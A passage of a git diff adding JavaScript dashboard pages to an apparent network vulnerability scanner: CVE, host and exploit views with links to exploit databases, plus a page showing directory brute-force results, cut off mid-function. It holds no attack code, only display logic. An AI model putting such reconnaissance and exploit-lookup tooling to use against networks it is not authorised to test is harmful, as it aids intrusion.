════════════════════════════════════════ + CVE VIEW — full-card click → modal +═══════════════════════════════════════ */ +function renderCVEView() { + const grid = $('#vuln-grid'); + if (!grid) return; + empty(grid); + const page = filteredVulns.slice((currentPage - 1) * ITEMS_PER_PAGE, currentPage * ITEMS_PER_PAGE); + if (!page.length) { grid.appendChild(emptyState('No vulnerabilities found')); return; } + + page.forEach((v, i) => { + const exploitChips = buildExploitChips(v); + const card = el('div', { + class: `vuln-card ${v.is_active === 0 ? 'inactive' : ''}`, + style: `animation-delay:${i * 0.03}s;cursor:pointer`, + onclick: (e) => { + if (e.target.closest('a, .vuln-ref-chips, .vuln-exploit-chips')) return; + showCVEDetails(v.vuln_id); + }, + }, [ + /* header */ + el('div', { class: 'vuln-card-header' }, [ + el('div', { class: 'vuln-card-title' }, [ + el('span', { class: 'vuln-id' }, [v.vuln_id || 'N/A']), + el('span', { class: `severity-badge severity-${v.severity}` }, [v.severity || '?']), + el('span', { class: 'cvss-pill' }, [`CVSS ${parseFloat(v.cvss_score || 0).toFixed(1)}`]), + ...(v.is_active === 0 ? [el('span', { class: 'vuln-tag remediated' }, ['REMEDIATED'])] : []), + ...(v.is_kev ? [el('span', { class: 'vuln-tag kev', title: 'CISA Known Exploited' }, ['KEV'])] : []), + ...(v.epss > 0.1 ? [el('span', { class: 'vuln-tag epss' }, [`EPSS ${(v.epss * 100).toFixed(1)}%`])] : []), + ]), + el('span', { style: 'font-size:.72rem;opacity:.35;white-space:nowrap' }, ['\u{1F4CB} click for details']), + ]), + /* meta */ + el('div', { class: 'vuln-meta' }, [ + metaItem('IP', v.ip), + metaItem('Host', v.hostname), + metaItem('Port', v.port), + ]), + /* description */ + el('div', { style: 'font-size:.83rem;opacity:.7;margin:6px 0 8px;line-height:1.4' }, [ + (v.description || '').substring(0, 160) + ((v.description || '').length > 160 ? '\u2026' : ''), + ]), + /* ★ reference chips — always visible */ + buildRefChips(v.vuln_id), + /* ★ exploit chips — from DB, only if available */ + ...(exploitChips ? [exploitChips] : []), + ]); + grid.appendChild(card); + }); +} + +/* ════════════════════════════════════════ + HOST VIEW +═══════════════════════════════════════ */ +function renderHostView() { + const grid = $('#vuln-grid'); + if (!grid) return; + empty(grid); + + const groups = new Map(); + filteredVulns.forEach(v => { + const key = `${v.mac_address}_${v.hostname || 'unknown'}`; + if (!groups.has(key)) groups.set(key, { mac: v.mac_address, hostname: v.hostname, ip: v.ip, vulns: [] }); + groups.get(key).vulns.push(v); + }); + + const hostArr = [...groups.values()]; + totalPages = Math.max(1, Math.ceil(hostArr.length / ITEMS_PER_PAGE)); + if (currentPage > totalPages) currentPage = 1; + const page = hostArr.slice((currentPage - 1) * ITEMS_PER_PAGE, currentPage * ITEMS_PER_PAGE); + if (!page.length) { grid.appendChild(emptyState('No hosts found')); return; } + + page.forEach((host, i) => { + const hostId = `host-${i + (currentPage - 1) * ITEMS_PER_PAGE}`; + const isExpanded = expandedHosts.has(hostId); + const sevCounts = countSeverities(host.vulns); + const remediated = host.vulns.filter(v => v.is_active === 0).length; + + const card = el('div', { + class: `vuln-card host-card ${isExpanded ? 'expanded' : ''}`, + 'data-id': hostId, + style: `animation-delay:${i * 0.03}s`, + }, [ + el('div', { class: 'vuln-card-header', onclick: () => toggleHostCard(hostId) }, [ + el('div', { class: 'vuln-card-title' }, [ + el('span', { class: 'vuln-id' }, [host.hostname || host.ip || host.mac || 'Unknown']), + el('span', { class: 'stat-label' }, [`${host.vulns.length} vulns`]), + ...(remediated > 0 ? [el('span', { class: 'vuln-tag remediated' }, [`${remediated} FIXED`])] : []), + ...(host.vulns.some(v => v.has_exploit) ? [el('span', { class: 'vuln-tag exploit' }, ['\u{1F4A3}'])] : []), + ]), + el('div', { class: 'host-severity-pills' }, [ + ...(sevCounts.critical > 0 ? [sevPill('critical', sevCounts.critical)] : []), + ...(sevCounts.high > 0 ? [sevPill('high', sevCounts.high)] : []), + ...(sevCounts.medium > 0 ? [sevPill('medium', sevCounts.medium)] : []), + ...(sevCounts.low > 0 ? [sevPill('low', sevCounts.low)] : []), + ]), + el('span', { class: 'collapse-indicator' }, ['\u25BC']), + ]), + el('div', { class: 'vuln-content' }, [ + el('div', { class: 'vuln-meta' }, [ + metaItem('IP', host.ip), + metaItem('MAC', host.mac), + metaItem('Active', host.vulns.filter(v => v.is_active === 1).length), + metaItem('Max CVSS', Math.max(...host.vulns.map(v => parseFloat(v.cvss_score) || 0)).toFixed(1)), + ]), + ...sortVulnsByPriority(host.vulns).map(v => { + const exploitChips = buildExploitChips(v); + return el('div', { + class: `host-vuln-item ${v.is_active === 0 ? 'inactive' : ''}`, + style: 'cursor:pointer', + onclick: (e) => { + if (e.target.closest('a, .vuln-ref-chips, .vuln-exploit-chips')) return; + showCVEDetails(v.vuln_id); + }, + }, [ + el('div', { class: 'host-vuln-info' }, [ + el('span', { class: 'vuln-id' }, [v.vuln_id]), + el('span', { class: `severity-badge severity-${v.severity}` }, [v.severity]), + el('span', { class: 'cvss-pill' }, [`CVSS ${parseFloat(v.cvss_score || 0).toFixed(1)}`]), + ...(v.is_active === 0 ? [el('span', { class: 'vuln-tag remediated' }, ['REMEDIATED'])] : []), + ]), + el('div', { class: 'vuln-meta', style: 'margin:4px 0' }, [ + metaItem('Port', v.port), + metaItem('Last', formatDate(v.last_seen)), + ]), + el('div', { style: 'font-size:.82rem;opacity:.65;margin-bottom:6px' }, [ + (v.description || '').substring(0, 110) + ((v.description || '').length > 110 ? '\u2026' : ''), + ]), + buildRefChips(v.vuln_id), + ...(exploitChips ? [exploitChips] : []), + ]); + }), + ]), + ]); + grid.appendChild(card); + }); +} + +/* ════════════════════════════════════════ + EXPLOITS VIEW +═══════════════════════════════════════ */ +function renderExploitsView() { + const grid = $('#vuln-grid'); + if (!grid) return; + empty(grid); + + const withExploit = filteredVulns.filter(v => v.has_exploit || (v.exploits && v.exploits.length > 0)); + totalPages = Math.max(1, Math.ceil(withExploit.length / ITEMS_PER_PAGE)); + if (currentPage > totalPages) currentPage = 1; + const page = withExploit.slice((currentPage - 1) * ITEMS_PER_PAGE, currentPage * ITEMS_PER_PAGE); + + if (!page.length) { + const wrapper = el('div', { style: 'text-align:center;padding:40px' }, [ + emptyState('\u{1F4A3} No exploit data yet'), + el('div', { style: 'margin-top:16px' }, [ + el('button', { class: 'vuln-btn exploit-btn', onclick: runGlobalExploitSearch }, + ['\u{1F4A3} Search All Exploits now']), + ]), + ]); + grid.appendChild(wrapper); + return; + } + + page.forEach((v, i) => { + const exploitChips = buildExploitChips(v); + const card = el('div', { + class: `vuln-card exploit-card ${v.is_active === 0 ? 'inactive' : ''}`, + style: `animation-delay:${i * 0.03}s;cursor:pointer`, + onclick: (e) => { + if (e.target.closest('a, .vuln-ref-chips, .vuln-exploit-chips')) return; + showCVEDetails(v.vuln_id); + }, + }, [ + el('div', { class: 'vuln-card-header' }, [ + el('div', { class: 'vuln-card-title' }, [ + el('span', { class: 'vuln-tag exploit' }, ['\u{1F4A3}']), + el('span', { class: 'vuln-id' }, [v.vuln_id || 'N/A']), + el('span', { class: `severity-badge severity-${v.severity}` }, [v.severity || '?']), + el('span', { class: 'cvss-pill' }, [`CVSS ${parseFloat(v.cvss_score || 0).toFixed(1)}`]), + ...(v.is_kev ? [el('span', { class: 'vuln-tag kev' }, ['KEV'])] : []), + ...(v.epss > 0.1 ? [el('span', { class: 'vuln-tag epss' }, [`EPSS ${(v.epss * 100).toFixed(1)}%`])] : []), + ]), + el('span', { style: 'font-size:.72rem;opacity:.35' }, ['\u{1F4CB} click for details']), + ]), + el('div', { class: 'vuln-meta' }, [metaItem('IP', v.ip), metaItem('Host', v.hostname), metaItem('Port', v.port)]), + el('div', { style: 'font-size:.83rem;opacity:.7;margin:6px 0 8px' }, [ + (v.description || '').substring(0, 180) + ((v.description || '').length > 180 ? '\u2026' : ''), + ]), + buildRefChips(v.vuln_id), + ...(exploitChips ? [exploitChips] : []), + ]); + grid.appendChild(card); + }); +} + +/* ════════════════════════════════════════ + HISTORY VIEW +═══════════════════════════════════════ */ +async function toggleHistory() { + const btn = $('#vuln-history-btn'); + if (historyMode) { + historyMode = false; + if (btn) btn.classList.remove('active'); + await fetchVulnerabilities(); + return; + } + historyMode = true; + if (btn) btn.classList.add('active'); + try { + const data = await api.get('/vulnerabilities/history?limit=500', { timeout: 10000 }); + allHistory = data?.history || []; + historyPage = 1; historySearch = ''; + renderHistory(); + } catch (err) { + console.warn(`[${PAGE}]`, err.message); + } +} + +function renderHistory() { + const grid = $('#vuln-grid'); const pagDiv = $('#vuln-pagination'); + if (!grid) return; + empty(grid); if (pagDiv) empty(pagDiv); + + const needle = historySearch.toLowerCase(); + const filtered = allHistory.filter(e => !needle || `${e.vuln_id} ${e.ip} ${e.hostname}`.toLowerCase().includes(needle)); + const hTotal = Math.max(1, Math.ceil(filtered.length / ITEMS_PER_PAGE)); + if (historyPage > hTotal) historyPage = 1; + + grid.appendChild(el('div', { style: 'margin-bottom:12px' }, [ + el('input', { + type: 'text', class: 'global-search-input', value: historySearch, + placeholder: 'Filter history\u2026', + oninput: (e) => { historySearch = e.target.value; historyPage = 1; renderHistory(); }, + style: 'width:100%;max-width:360px', + }), + ])); + + if (!filtered.length) { grid.appendChild(emptyState('No history entries')); return; } + + filtered.slice((historyPage - 1) * ITEMS_PER_PAGE, historyPage * ITEMS_PER_PAGE).forEach((entry, i) => { + grid.appendChild(el('div', { class: 'vuln-card', style: `animation-delay:${i * 0.02}s` }, [ + el('div', { class: 'vuln-card-header' }, [ + el('span', { class: 'vuln-id' }, [entry.vuln_id || 'N/A']), + el('span', { class: 'vuln-tag' }, [entry.event || '']), + ]), + el('div', { class: 'vuln-meta' }, [ + metaItem('Date', entry.seen_at ? new Date(entry.seen_at).toLocaleString() : 'N/A'), + metaItem('IP', entry.ip), metaItem('Host', entry.hostname), + metaItem('Port', entry.port), metaItem('MAC', entry.mac_address), + ]), + ])); + }); + + if (pagDiv && hTotal > 1) { + pagDiv.appendChild(pageBtn('Prev', historyPage > 1, () => { historyPage--; renderHistory(); })); + for (let i = Math.max(1, historyPage - 2); i <= Math.min(hTotal, historyPage + 2); i++) { + pagDiv.appendChild(pageBtn(String(i), true, () => { historyPage = i; renderHistory(); }, i === historyPage)); + } + pagDiv.appendChild(pageBtn('Next', historyPage < hTotal, () => { historyPage++; renderHistory(); })); + pagDiv.appendChild(el('span', { class: 'vuln-page-info' }, [`Page ${historyPage}/${hTotal} — ${filtered.length} entries`])); + } +} + +/* ════════════════════════════════════════ + CVE DETAIL MODAL +═══════════════════════════════════════ */ +async function showCVEDetails(cveId) { + if (!cveId || modalInFlight === cveId) return; + modalInFlight = cveId; + if (poller) poller.stop(); + + const titleEl = $('#vuln-modal-title'); + const body = $('#vuln-modal-body'); + const modal = $('#vuln-modal'); + const chipsEl = $('#vuln-modal-header-chips'); + if (!modal) { modalInFlight = null; return; } + + if (titleEl) titleEl.textContent = cveId; + + /* reference chips in modal header */ + if (chipsEl) { + empty(chipsEl); + const enc = encodeURIComponent(cveId); + [ + ['\u{1F431} GitHub', `https://github.com/search?q=${enc}&type=repositories`, 'chip-github'], + ['\u{1F6E1} Rapid7', `https://www.rapid7.com/db/?q=${enc}`, 'chip-rapid7'], + ['NVD \u2197', `https://nvd.nist.gov/vuln/detail/${enc}`, 'chip-nvd'], + ['MITRE \u2197', `https://cve.mitre.org/cgi-bin/cvename.cgi?name=${enc}`, 'chip-mitre'], + ].forEach(([label, href, cls]) => chipsEl.appendChild(refChip(label, href, cls))); + } + + if (body) { empty(body); body.appendChild(el('div', { class: 'page-loading' }, ['Loading\u2026'])); } + modal.classList.add('show'); + + try { + const data = await api.get(`/api/cve/${encodeURIComponent(cveId)}`, { timeout: 10000 }); + if (!body) return; + empty(body); + + if (data.description) body.appendChild(modalSection('Description', data.description)); + if (data.cvss) { + const s = data.cvss; + body.appendChild(modalSection('CVSS', + `Score: ${s.baseScore || 'N/A'} | Severity: ${s.baseSeverity || 'N/A'}` + + (s.vectorString ? ` | Vector: ${s.vectorString}` : '') + )); + } + if (data.is_kev) body.appendChild(modalSection('\u26A0 CISA KEV', 'This vulnerability is in the CISA Known Exploited Vulnerabilities catalog.')); + if (data.epss) body.appendChild(modalSection('EPSS', + `Probability: ${(data.epss.probability * 100).toFixed(2)}% | Percentile: ${(data.epss.percentile * 100).toFixed(2)}%` + )); + + /* Affected */ + if (data.affected && data.affected.length > 0) { + const rows = normalizeAffected(data.affected); + body.appendChild(el('div', { class: 'modal-detail-section' }, [ + el('div', { class: 'modal-section-title' }, ['Affected Products']), + el('div', { class: 'vuln-affected-table' }, [ + el('div', { class: 'vuln-affected-row header' }, [el('span', {}, ['Vendor']), el('span', {}, ['Product']), el('span', {}, ['Versions'])]), + ...rows.map(r => el('div', { class: 'vuln-affected-row' }, [el('span', {}, [r.vendor]), el('span', {}, [r.product]), el('span', {}, [r.versions])])), + ]), + ])); + } + + /* Exploits section */ + const exploits = data.exploits || []; + const exploitSection = el('div', { class: 'modal-detail-section' }, [ + el('div', { class: 'modal-section-title' }, ['\u{1F4A3} Exploits & References']), + /* dynamic entries from DB */ + ...exploits.map(entry => { + const isStr = typeof entry === 'string'; + const label = isStr ? entry : (entry.title || entry.url || 'Exploit'); + const href = isStr + ? (entry.startsWith('http') ? entry : `https://www.exploit-db.com/exploits/${entry}`) + : (entry.url || '#'); + return el('div', { class: 'modal-exploit-item' }, [ + refChip('\u26A1 ' + String(label).substring(0, 120), href, 'chip-exploit chip-exploit-detail'), + ]); + }), + /* always-present search chips row */ + el('div', { class: 'exploit-links-block', style: 'margin-top:10px;display:flex;flex-wrap:wrap;gap:6px' }, [ + refChip('\u{1F50D} ExploitDB', `https://www.exploit-db.com/search?cve=${encodeURIComponent(cveId)}`, 'chip-exploit chip-exploitdb'), + refChip('\u{1F431} GitHub PoC', `https://github.com/search?q=${encodeURIComponent(cveId)}&type=repositories`, 'chip-github'), + refChip('\u{1F6E1} Rapid7', `https://www.rapid7.com/db/?q=${encodeURIComponent(cveId)}`, 'chip-rapid7'), + refChip('NVD \u2197', `https://nvd.nist.gov/vuln/detail/${encodeURIComponent(cveId)}`, 'chip-nvd'), + refChip('MITRE \u2197', `https://cve.mitre.org/cgi-bin/cvename.cgi?name=${encodeURIComponent(cveId)}`, 'chip-mitre'), + ]), + exploits.length === 0 + ? el('div', { style: 'opacity:.45;font-size:.8rem;margin-top:6px' }, ['No exploit records in DB yet — use \u201cSearch All Exploits\u201d to enrich.']) + : null, + ].filter(Boolean)); + body.appendChild(exploitSection); + + /* References */ + if (data.references && data.references.length > 0) { + body.appendChild(el('div', { class: 'modal-detail-section' }, [ + el('div', { class: 'modal-section-title' }, ['References']), + ...data.references.map(url => el('div', {}, [ + el('a', { href: url, target: '_blank', rel: 'noopener', class: 'vuln-ref-link' }, [url]), + ])), + ])); + } + + if (data.lastModified) body.appendChild(modalSection('Last Modified', formatDate(data.lastModified))); + if (!data.description && !data.cvss && !data.affected) { + body.appendChild(el('div', { style: 'opacity:.6;padding:20px;text-align:center' }, ['No enrichment data available.'])); + } + } catch (err) { + if (body) { empty(body); body.appendChild(el('div', { style: 'color:var(--danger);padding:20px' }, [`Failed: ${err.message}`])); } + } finally { + modalInFlight = null; + } +} + +function normalizeAffected(affected) { + return affected.map(item => { + const vendor = item.vendor || item.vendor_name || item.vendorName || 'N/A'; + let product = item.product || item.product_name || item.productName || 'N/A'; + if (Array.isArray(product)) product = product.join(', '); + else if (typeof product === 'object' && product !== null) + product = product.product || product.product_name || product.productName || 'N/A'; + let versions = 'unspecified'; + if (Array.isArray(item.versions)) { + versions = item.versions.map(ver => { + if (typeof ver === 'string') return ver; + const parts = [ver.version || ver.versionName || ver.version_value || '']; + if (ver.lessThan) parts.push(`< ${ver.lessThan}`); + if (ver.lessThanOrEqual) parts.push(`<= ${ver.lessThanOrEqual}`); + if (ver.status) parts.push(`(${ver.status})`); + return parts.join(' '); + }).join('; '); + } else if (typeof item.versions === 'string') { + versions = item.versions; + } + return { vendor, product: String(product), versions }; + }); +} + +/* ════════════════════════════════════════ + SEARCH / FILTER / SORT HANDLERS +═══════════════════════════════════════ */ +function onSearch(e) { + clearTimeout(searchDebounce); + searchDebounce = setTimeout(() => { + searchTerm = e.target.value; currentPage = 1; filterAndRender(); + const b = e.target.nextElementSibling; if (b) b.classList.toggle('show', searchTerm.length > 0); + }, 300); +} +function clearSearch() { + const inp = $('#vuln-search'); if (inp) inp.value = ''; + searchTerm = ''; currentPage = 1; filterAndRender(); + const b = $('#vuln-search')?.nextElementSibling; if (b) b.classList.remove('show'); +} +function switchView(view) { + currentView = view; currentPage = 1; + ['cve','host','exploits'].forEach(v => { const b = $(`#vuln-view-${v}`); if (b) b.classList.toggle('active', v === view); }); + filterAndRender(); +} +function toggleActiveFilter() { + showActiveOnly = !showActiveOnly; + const b = $('#vuln-active-toggle'); if (b) b.classList.toggle('active', showActiveOnly); + currentPage = 1; filterAndRender(); +} +function toggleSeverity(sev, btn) { + if (severityFilters.has(sev)) { severityFilters.delete(sev); btn.classList.remove('active'); } + else { severityFilters.add(sev); btn.classList.add('active'); } + currentPage = 1; filterAndRender(); +} +function onSortChange() { + const f = $('#vuln-sort-field'); const d = $('#vuln-sort-dir'); + if (f) sortField = f.value; if (d) sortDir = d.value; + currentPage = 1; filterAndRender(); +} +function onDateChange() { + dateFrom = ($('#vuln-date-from') || {}).value || ''; + dateTo = ($('#vuln-date-to') || {}).value || ''; + currentPage = 1; filterAndRender(); +} +function clearDateFilter() { + dateFrom = ''; dateTo = ''; + const f = $('#vuln-date-from'); const t_ = $('#vuln-date-to'); + if (f) f.value = ''; if (t_) t_.value = ''; + currentPage = 1; filterAndRender(); +} +function toggleHostCard(id) { + if (expandedHosts.has(id)) expandedHosts.delete(id); else expandedHosts.add(id); + const card = document.querySelector(`.vuln-card[data-id="${id}"]`); + if (card) card.classList.toggle('expanded'); +} + +/* ════════════════════════════════════════ + PAGINATION +═══════════════════════════════════════ */ +function renderPagination() { + const pag = $('#vuln-pagination'); if (!pag) return; + empty(pag); + if (historyMode || totalPages <= 1) return; + pag.appendChild(pageBtn('Prev', currentPage > 1, () => changePage(currentPage - 1))); + for (let i = Math.max(1, currentPage - 2); i <= Math.min(totalPages, currentPage + 2); i++) + pag.appendChild(pageBtn(String(i), true, () => changePage(i), i === currentPage)); + pag.appendChild(pageBtn('Next', currentPage < totalPages, () => changePage(currentPage + 1))); + pag.appendChild(el('span', { class: 'vuln-page-info' }, [`Page ${currentPage}/${totalPages} — ${filteredVulns.length} results`])); +} +function pageBtn(label, enabled, onclick, active = false) { + return el('button', { + class: `vuln-page-btn ${active ? 'active' : ''} ${!enabled ? 'disabled' : ''}`, + onclick: enabled ? onclick : null, disabled: !enabled, + }, [label]); +} +function changePage(p) { + currentPage = Math.max(1, Math.min(totalPages, p)); filterAndRender(); + const g = $('#vuln-grid'); if (g) g.scrollTop = 0; +} + +/* ════════════════════════════════════════ + EXPORT +═══════════════════════════════════════ */ +function csvCell(val) { + const s = String(val ?? ''); + const safe = /^[=+\-@\t\r]/.test(s) ? `'${s}` : s; + return safe.includes(',') || safe.includes('"') || safe.includes('\n') ? `"${safe.replace(/"/g, '""')}"` : safe; +} +function exportCSV() { + const data = filteredVulns.length ? filteredVulns : vulnerabilities; + if (!data.length) return; + const rows = [['CVE ID','IP','Hostname','Port','Severity','CVSS','Status','First Seen','Last Seen','KEV','Has Exploit','EPSS'].join(',')]; + data.forEach(v => rows.push([ + v.vuln_id, v.ip, v.hostname, v.port, v.severity, + v.cvss_score != null ? parseFloat(v.cvss_score).toFixed(1) : '', + v.is_active === 1 ? 'Active' : 'Remediated', + v.first_seen, v.last_seen, + v.is_kev ? 'Yes' : 'No', + v.has_exploit ? 'Yes' : 'No', + v.epss != null ? (v.epss * 100).toFixed(2) + '%' : '', + ].map(csvCell).join(','))); + downloadBlob(rows.join('\n'), `vulnerabilities_${isoDate()}.csv`, 'text/csv'); +} +function exportJSON() { + const data = filteredVulns.length ? filteredVulns : vulnerabilities; + if (!data.length) return; + downloadBlob(JSON.stringify(data, null, 2), `vulnerabilities_${isoDate()}.json`, 'application/json'); +} +function downloadBlob(content, filename, type) { + const url = URL.createObjectURL(new Blob([content], { type })); + const a = document.createElement('a'); a.href = url; a.download = filename; + document.body.appendChild(a); a.click(); document.body.removeChild(a); URL.revokeObjectURL(url); +} + +/* ════════════════════════════════════════ + MODAL CLOSE +═══════════════════════════════════════ */ +function closeModal() { + const modal = $('#vuln-modal'); if (modal) modal.classList.remove('show'); + modalInFlight = null; + if (poller) poller.start(); // resume polling +} +function onModalBackdrop(e) { if (e.target.classList.contains('vuln-modal')) closeModal(); } + +/* ════════════════════════════════════════ + HELPERS +═══════════════════════════════════════ */ +function metaItem(label, value) { + return el('div', { class: 'meta-item' }, [ + el('span', { class: 'meta-label' }, [label + ':']), + el('span', { class: 'meta-value' }, [String(value ?? 'N/A')]), + ]); +} +function modalSection(title, text) { + return el('div', { class: 'modal-detail-section' }, [ + el('div', { class: 'modal-section-title' }, [title]), + el('div', { class: 'modal-section-text' }, [String(text)]), + ]); +} +function emptyState(msg) { + return el('div', { style: 'text-align:center;color:var(--ink);opacity:.5;padding:40px' }, [ + el('div', { style: 'font-size:3rem;margin-bottom:16px;opacity:.5' }, ['\u{1F50D}']), + msg, + ]); +} +function sevPill(sev, count) { + return el('span', { class: `severity-badge severity-${sev}` }, [`${count} ${sev}`]); +} +function formatDate(d) { + if (!d) return 'Unknown'; + try { return new Date(d).toLocaleString('en-US', { year:'numeric', month:'short', day:'numeric', hour:'2-digit', minute:'2-digit' }); } + catch { return String(d); } +} +function isoDate() { return new Date().toISOString().split('T')[0]; } +function countSeverities(vulns) { + const c = { critical: 0, high: 0, medium: 0, low: 0 }; + vulns.forEach(v => { if (v.is_active === 1 && c[v.severity] !== undefined) c[v.severity]++; }); + return c; +} +function sortVulnsByPriority(vulns) { + return [...vulns].sort((a, b) => { + if (a.is_active !== b.is_active) return b.is_active - a.is_active; + return (SEVERITY_ORDER[b.severity] || 0) - (SEVERITY_ORDER[a.severity] || 0); + }); +} \ No newline at end of file diff --git a/web/js/pages/web-enum.js b/web/js/pages/web-enum.js new file mode 100644 index 0000000..47d3e88 --- /dev/null +++ b/web/js/pages/web-enum.js @@ -0,0 +1,801 @@ +/** + * Web Enum page module. + * Displays web enumeration/directory brute-force results with filtering, + * sorting, pagination, detail modal, and JSON/CSV export. + * Endpoint: GET /api/webenum/results?page=N&limit=M + */ +import { ResourceTracker } from '../core/resource-tracker.js'; +import { api } from '../core/api.js'; +import { el, $, $$, empty } from '../core/dom.js'; +import { t } from '../core/i18n.js'; + +const PAGE = 'web-enum'; +const MAX_PAGES_FETCH = 200; +const FETCH_LIMIT = 500; +const PER_PAGE_OPTIONS = [25, 50, 100, 250, 500, 0]; // 0 = All +const ANSI_RE = /[\x00-\x1f\x7f]|\x1b\[[0-9;]*[A-Za-z]/g; + +/* ── state ── */ +let tracker = null; +let allData = []; +let filteredData = []; +let currentPage = 1; +let itemsPerPage = 50; +let sortField = 'scan_date'; +let sortDirection = 'desc'; +let exactStatusFilter = null; +let serverTotal = 0; +let fetchedLimit = false; + +/* filter state */ +let searchText = ''; +let filterHost = ''; +let filterStatusFamily = ''; +let filterPort = ''; +let filterDate = ''; +let searchDebounceId = null; + +/* ── lifecycle ── */ +export async function mount(container) { + tracker = new ResourceTracker(PAGE); + container.appendChild(buildShell()); + await fetchAllData(); +} + +export function unmount() { + if (searchDebounceId != null) clearTimeout(searchDebounceId); + searchDebounceId = null; + if (tracker) { tracker.cleanupAll(); tracker = null; } + allData = []; + filteredData = []; + currentPage = 1; + itemsPerPage = 50; + sortField = 'scan_date'; + sortDirection = 'desc'; + exactStatusFilter = null; + serverTotal = 0; + fetchedLimit = false; + searchText = ''; + filterHost = ''; + filterStatusFamily = ''; + filterPort = ''; + filterDate = ''; +} + +/* ══════════════════════════════════════════════════════════════ + Shell + ══════════════════════════════════════════════════════════════ */ +function buildShell() { + return el('div', { class: 'webenum-container' }, [ + /* stats bar */ + el('div', { class: 'stats-bar', id: 'we-stats' }, [ + statItem('we-stat-total', 'Total Results'), + statItem('we-stat-hosts', 'Unique Hosts'), + statItem('we-stat-success', 'Success (2xx)'), + statItem('we-stat-errors', 'Errors (4xx/5xx)'), + ]), + /* controls row */ + el('div', { class: 'webenum-controls' }, [ + /* text search */ + el('div', { class: 'global-search-container' }, [ + el('input', { + type: 'text', class: 'global-search-input', id: 'we-search', + placeholder: t('common.search') || 'Search host, IP, directory, status\u2026', + oninput: onSearchInput, + }), + el('button', { class: 'clear-global-button', onclick: clearSearch }, ['\u2716']), + ]), + el('div', { class: 'webenum-main-actions' }, [ + el('button', { class: 'vuln-btn', onclick: () => fetchAllData() }, ['Refresh']), + ]), + /* dropdown filters */ + el('div', { class: 'webenum-filters' }, [ + buildSelect('we-filter-host', 'All Hosts', onHostFilter), + buildSelect('we-filter-status', 'All Status', onStatusFamilyFilter), + buildSelect('we-filter-port', 'All Ports', onPortFilter), + el('input', { + type: 'date', class: 'webenum-date-input', id: 'we-filter-date', + onchange: onDateFilter, + }), + ]), + /* export buttons */ + el('div', { class: 'webenum-export-btns' }, [ + el('button', { class: 'vuln-btn', onclick: () => exportData('json') }, ['Export JSON']), + el('button', { class: 'vuln-btn', onclick: () => exportData('csv') }, ['Export CSV']), + ]), + ]), + /* status legend chips */ + el('div', { class: 'webenum-status-legend', id: 'we-status-legend' }), + /* table container */ + el('div', { class: 'webenum-table-wrap', id: 'we-table-wrap' }), + /* pagination */ + el('div', { class: 'webenum-pagination', id: 'we-pagination' }), + /* detail modal */ + el('div', { class: 'vuln-modal', id: 'we-modal', onclick: onModalBackdrop }, [ + el('div', { class: 'vuln-modal-content' }, [ + el('div', { class: 'vuln-modal-header' }, [ + el('span', { class: 'vuln-modal-title', id: 'we-modal-title' }), + el('button', { class: 'vuln-modal-close', onclick: closeModal }, ['\u2716']), + ]), + el('div', { class: 'vuln-modal-body', id: 'we-modal-body' }), + ]), + ]), + ]); +} + +function statItem(id, label) { + return el('div', { class: 'stat-item' }, [ + el('span', { class: 'stat-value', id }, ['0']), + el('span', { class: 'stat-label' }, [label]), + ]); +} + +function buildSelect(id, defaultLabel, handler) { + return el('select', { class: 'webenum-filter-select', id, onchange: handler }, [ + el('option', { value: '' }, [defaultLabel]), + ]); +} + +/* ══════════════════════════════════════════════════════════════ + Data fetching — paginate through all server pages + ══════════════════════════════════════════════════════════════ */ +async function fetchAllData() { + const loading = $('#we-table-wrap'); + if (loading) { + empty(loading); + loading.appendChild(el('div', { class: 'page-loading' }, [t('common.loading') || 'Loading\u2026'])); + } + + const ac = tracker ? tracker.trackAbortController() : null; + const signal = ac ? ac.signal : undefined; + + let accumulated = []; + let page = 1; + serverTotal = 0; + fetchedLimit = false; + + try { + while (page <= MAX_PAGES_FETCH) { + const url = `/api/webenum/results?page=${page}&limit=${FETCH_LIMIT}`; + const data = await api.get(url, { signal, timeout: 15000 }); + + const results = Array.isArray(data.results) ? data.results : []; + if (data.total != null) serverTotal = data.total; + + if (results.length === 0) break; + + accumulated = accumulated.concat(results); + + /* all fetched */ + if (serverTotal > 0 && accumulated.length >= serverTotal) break; + /* page was not full — last page */ + if (results.length < FETCH_LIMIT) break; + + page++; + } + + if (page > MAX_PAGES_FETCH) fetchedLimit = true; + } catch (err) { + if (err.name === 'ApiError' && err.message === 'Aborted') return; + console.warn(`[${PAGE}] fetch error:`, err.message); + } finally { + if (ac && tracker) tracker.removeAbortController(ac); + } + + allData = accumulated.map(normalizeRow); + populateFilterDropdowns(); + applyFilters(); +} + +/* ── row normalization ── */ +function normalizeRow(row) { + const host = (row.host || row.hostname || '').toString(); + let directory = (row.directory || '').toString().replace(ANSI_RE, ''); + return { + id: row.id, + host: host, + ip: (row.ip || '').toString(), + mac: (row.mac || '').toString(), + port: row.port != null ? Number(row.port) : 0, + directory: directory, + status: row.status != null ? Number(row.status) : 0, + size: row.size != null ? Number(row.size) : 0, + scan_date: row.scan_date || '', + response_time: row.response_time != null ? Number(row.response_time) : 0, + content_type: (row.content_type || '').toString(), + }; +} + +/* ══════════════════════════════════════════════════════════════ + Filter dropdowns — populate from unique values + ══════════════════════════════════════════════════════════════ */ +function populateFilterDropdowns() { + populateSelect('we-filter-host', 'All Hosts', + [...new Set(allData.map(r => r.host).filter(Boolean))].sort()); + + const families = [...new Set(allData.map(r => statusFamily(r.status)).filter(Boolean))].sort(); + populateSelect('we-filter-status', 'All Status', families); + + const ports = [...new Set(allData.map(r => r.port).filter(p => p > 0))].sort((a, b) => a - b); + populateSelect('we-filter-port', 'All Ports', ports.map(String)); +} + +function populateSelect(id, defaultLabel, options) { + const sel = $(`#${id}`); + if (!sel) return; + const current = sel.value; + empty(sel); + sel.appendChild(el('option', { value: '' }, [defaultLabel])); + options.forEach(opt => { + sel.appendChild(el('option', { value: opt }, [opt])); + }); + if (current && options.includes(current)) sel.value = current; +} + +/* ══════════════════════════════════════════════════════════════ + Filter & sort pipeline + ══════════════════════════════════════════════════════════════ */ +function applyFilters() { + const needle = searchText.toLowerCase(); + + filteredData = allData.filter(row => { + /* exact status chip filter */ + if (exactStatusFilter != null && row.status !== exactStatusFilter) return false; + + /* text search */ + if (needle) { + const hay = `${row.host} ${row.ip} ${row.directory} ${row.status}`.toLowerCase(); + if (!hay.includes(needle)) return false; + } + + /* host dropdown */ + if (filterHost && row.host !== filterHost) return false; + + /* status family dropdown */ + if (filterStatusFamily && statusFamily(row.status) !== filterStatusFamily) return false; + + /* port dropdown */ + if (filterPort && String(row.port) !== filterPort) return false; + + /* date filter */ + if (filterDate) { + const rowDate = 